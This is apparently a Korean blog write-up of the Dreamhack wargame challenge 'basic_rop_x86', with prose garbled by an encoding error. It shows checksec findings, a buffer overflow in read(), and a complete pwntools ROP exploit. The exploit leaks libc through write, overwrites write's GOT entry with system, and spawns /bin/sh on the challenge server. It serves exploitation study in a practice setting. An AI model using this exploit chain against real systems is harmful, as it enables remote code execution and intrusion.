basic_rop_x86
๋ฌธ์ ํ์ด
NX์ Partial RELRO๊ฐ ๊ฑธ๋ ค์๋ค์ ๊ทธ๋ฆฌ๊ณ ์ฝ๋๋ฅผ ์ ๊ทผํด๋ณด๋ฉด
Canary๋ ์ ์ฉ๋์ด ์์ง ์๋ค์ ๋คํ์ด์์
์ฝ๋๋ฅผ ๋ณด์๋ฉด ์ด์ ๋ด์ฉ์ด๋ ์ ์ฌํ ๋ฐฉ๋ฒ์ด๋ค์ read()ํจ์์ bof๊ฐ ๋ฐ์ํ๋๊น์
๊ทธ๋ผ ์ค์ ๋ก ์ด๋ค ์์ผ๋ก ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํ ๋น๋์๋์ง๋ ํ์ธํด๋ด
์๋ค.
์ค์ ๋ก๋ 0x44๋ก ์กํ์๋ค์
Exploit ์ค๊ณ
๊ทธ๋ผ ์ ํฌ๋ ์ด์ ์ ํ๋ ๊ฑฐ์ฒ๋ผ system()ํจ์์ ์ฃผ์๋ฅผ ์์๋ด์ด ์ต์ข
์ ์ผ๋ก system("/bin/sh") ํธ์ถ!
๊ทธ๋ฌ๊ธฐ ์ํด read()ํจ์์ write()๋ฅผ ์ฌ์ฉํ ๊ฒ์
๋๋ค. ์ค์ ์ฃผ์๋ฅผ leakํ๋ ๋ฐฉ์์
์ด์ ์ ๋ฐฐ์ ์ผ๋ฏ๋ก ์๋ตํ๊ฒ ์ต๋๋ค.
๊ทธ ๋ค์์ผ๋ก ์ ํฌ๋ rop chain์ ์ด์ฉํด overwirte ํด์ฃผ๊ณ ์ด๋ฒ์ bss ์์ญ์ ํ์ฉํ์ฌ ์ ๊ทผํ ๊ฑฐ์์
์ฐธ๊ณ ๋ก bss ์์ญ์ ์ฌ์ฉํ ์ ์๋ ์ด์ ๋ Paritial RELRO ๋๋ฌธ์ธ๋ฐ ์ถํ์ ๋ฐฐ์ธ ๋ด์ฉ์ด๋๊น ๋์ด๊ฐ์ฃ
Exploit
๋ฉ๋ชจ๋ฆฌ์ ํฌ๊ธฐ๋ ์์๋ณด์๊ณ 32bit์ OS์ด๋ฏ๋ก ๊ทธ์ ํจ์ ํธ์ถ์ ๋ฐ๋ผ
bof์ ๋ฐ์์ํค๋ ์ต์ํ ๋ฐ์ดํฐ ํฌ๊ธฐ 0x48(buf+sfp) ๊ทธ๋ฆฌ๊ณ ์ ํ์์ ๋ณด์๋ฉด canary๊ฐ ์ ๊ฑธ๋ ค์์ฃ
์ด์ ์ ํผ ๋ฌธ์ ๋ return to scu๋ผ๋ ๊ณต๊ฒฉ๊ธฐ๋ฒ์ธ๋ฐ ์ด๋ ์ถํ ์ ๋ฆฌํ๊ฒ ์ต๋๋ค.
๊ทธ๋ฌ๊ธฐ์ rop์ ํ์์ธ return gadget์ ์ด์ฉํด ํ์ด๋ณด๊ฒ ์ต๋๋ค.
๋ค์ํ gadget ๋ฐฉ์์ด ์์ผ๋ ์๊ฐ ๊ด๊ณ์ ํด์ ์ฌ์ฉํ์์ต๋๋ค.
์ ํฌ๊ฐ ์ด์ ์ pwntools๋ฅผ ์ฌ์ฉํด check_lib์ ํ์์ผ๋ก ์์๋ณด์๋๋ฐ ์ฌ๊ธฐ์๋ ๊ทธ๋ฐ ๋ฌธ์ ๊ฐ ์๋ ๋ฏ ์ถ๊ธฐ์
๊ทธ๋ฅ ํ์ด๋ดค๋ค๋ ์ ์ ์ํด์ฃผ์ธ์ ใ
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798 #!usr/python3from pwn import *import sysHost = 'host3.dreamhack.games'File_Name = './basic_rop_x86'if(args['REMOTE']):p = remote(Host, sys.argv[1])else:p = process(File_Name)#default Settinge = ELF(File_Name, checksec=False)libc = ELF('./libc.so.6', checksec=False)context(arch='i386', os='linux')#context.cyclic_alphabet = "A"context.log_level = 'debug'#gdb.attack()def slog(func_name, func_addr): return success(" : ".join([func_name, hex(func_addr)]))def main():#ROP default settingread_got = e.got["read"]read_plt = e.plt["read"]write_got = e.got["write"]write_plt = e.plt["write"]main = e.symbols['main']read_offset = libc.symbols["read"]write_offset = libc.symbols['write']system_offset = libc.symbols["system"]binsh = e.bss()pppr = 0x08048689 #pop esi; pop edi; pop ebp; ret'''payload in buffer(buf~ebp : 0x44 | sfp : 0x4 | read_plt | puts_plt_ret.. 0x4 | puts_got 0x4)'''#payload = cyclic(68) # 0x44payload = b'A'*0x44 + b'B'*0x4# write(1, read_got, 0x4)payload += p32(write_plt)payload += p32(pppr)payload += p32(1)payload += p32(read_got)payload += p32(4)# read(0, binsh, 0x8)payload += p32(read_plt)payload += p32(pppr)payload += p32(0)payload += p32(binsh)payload += p32(8)# read(0, write_got, 0x4)payload += p32(read_plt)payload += p32(pppr)payload += p32(0)payload += p32(write_got)payload += p32(4)# write("/bin/sh")payload += p32(write_plt)payload += p32(0)payload += p32(binsh)p.send(payload)p.recvuntil('A'*0x40)#read_addrread_addr = u32(p.recvn(4))#libc_base pointerlib_base = read_addr - read_offsetslog('lib_base_addr', lib_base)#log.info(f'libc_base_addr : {hex(lib_base)}')#other libc_funcwrite_addr = lib_base + write_offsetsystem_addr = lib_base + system_offset#log.info(f'read_addr " {hex(read_addr))}')slog('read_addr', read_addr)slog('write_addr', write_addr)slog('system', system_addr)p.send(b"/bin/sh\x00")p.sendline(p32(system_addr))p.interactive()if __name__ == '__main__':main()cs
exploit ์ฝ๋๋ฅผ ๊ฐ๋จํ ์ค๋ช
ํ์๋ฉด ์ฐ์ buf์ ์์๋ถํฐ ebp๊น์ง ๊ทธ๋ฆฌ๊ณ sfp๊น์ง ์ฑ์ด ๊ฒ์ด ์์์ผ๋ก
ret ๋ถ๋ถ์ write()์ plt๋ก ๋ฎ์์ต๋๋ค. ๊ทธ๋์ main์ด ๋๋๋ฉด ์์ฐ์ค๋ฝ๊ฒ write()๋ก
๋ํ write์ ์ธ์๋ pop์ 3๊ฐ ์ฌ์ฉํ๊ธฐ์ ํด๋น gadget์ ํ์ํ ์ฃผ์๋ฅผ ๋ฃ์์ต๋๋ค.
์ด์ ์ ํ๋ ํ์ ๊ทธ๋ฆฌ๊ณ syscall์ ํํ๋ฅผ ์ฐธ๊ณ ๋ฐ์์ ์ฑ์ ์ต๋๋ค.
๊ทธ๋ฌ๋ฉด lib์ ์ฃผ์๋ฅผ ํ์ธ ํด๋น ๋๋จธ์ง ์ฃผ์๋ ํ์ธํ ์ ์์ต๋๋ค. ๊ทธ ์ธ๋ถ์ ์ธ ๋ด์ฉ์
์ด์ ์ ํ์ธํด๋ดค์ผ๋ฏ๋ก ๊ฐ๋จํ lib base = ์ค์ ์ฃผ์ - offset์ธ ํํ์์
๊ทธ๋ผ system์ ์ฃผ์๋ lib_base + system offset์ ํ๋ฉด ๋๊ฒ ์ฃ
๋๋จธ์ง๋ ์ฐฌ์ฐฌํ chain rtl๋ฅผ ์ฌ์ฉํ์ฌ system์ ์ฃผ์๋ฅผ ํ์ธ ํ system()์ฃผ์๋ฅผ write() got๋ก ret
write()์ bss(์์ ๋ฐ์ดํฐ ๊ฐ ๋ฑ)์ "/bin/sh" ๋ฌธ์์ด์ ๋ด์์ฃผ๊ณ write("/bin/sh")์ ํด์ฃผ๋ฉด ๋!
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โSystem_Study > ๐โDreamhack_Hacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
hook (0) | 2022.10.30 |
---|---|
fho (0) | 2022.10.30 |
out_of_bound (0) | 2022.10.30 |
oneshot (0) | 2022.10.30 |
basic_exploitation_002 (0) | 2022.10.30 |